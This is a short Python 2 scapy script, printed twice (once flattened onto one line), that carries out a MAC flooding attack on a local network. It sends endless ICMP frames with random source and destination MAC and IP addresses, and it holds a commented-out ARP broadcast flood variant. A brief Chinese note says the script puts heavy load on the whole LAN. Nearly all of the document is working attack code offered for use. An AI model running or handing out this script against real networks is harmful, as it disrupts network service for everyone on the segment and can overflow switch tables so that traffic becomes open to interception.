#!usr/bin/python #-*- coding:utf-8 -*- import sys from scapy . all import * def mac_floodatt ( interface ): attackpacket = Ether ( src = RandMAC (), dst = RandMAC ()) / IP ( src = RandIP ( '*.*.*.*' ), dst = RandIP ( '*.*.*.*' )) / ICMP ()
#-*- coding:utf-8 -*-
import sys
from scapy.all import *
def mac_floodatt(interface):
attackpacket = Ether(src=RandMAC(), dst=RandMAC())/IP(src=RandIP('*.*.*.*'), dst=RandIP('*.*.*.*'))/ICMP()
#attackpacket = Ether(srlc=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)
while 1:
sendp(attackpacket, iface=interface, loop=100)
def main():
if len(sys.argv) < 2:
print 'Usage: python mac_flood.py iface'
else:
mac_floodatt(sys.argv[1])
if __name__ == '__main__':
main()
使用python随机生成mac地址并向FF:FF:FF:FF:FF的广播地址发送数据,仅适用于局域网,局域网的网络环境中将会有大连的数据包,对整个局域网的网络系统造成很大的压力。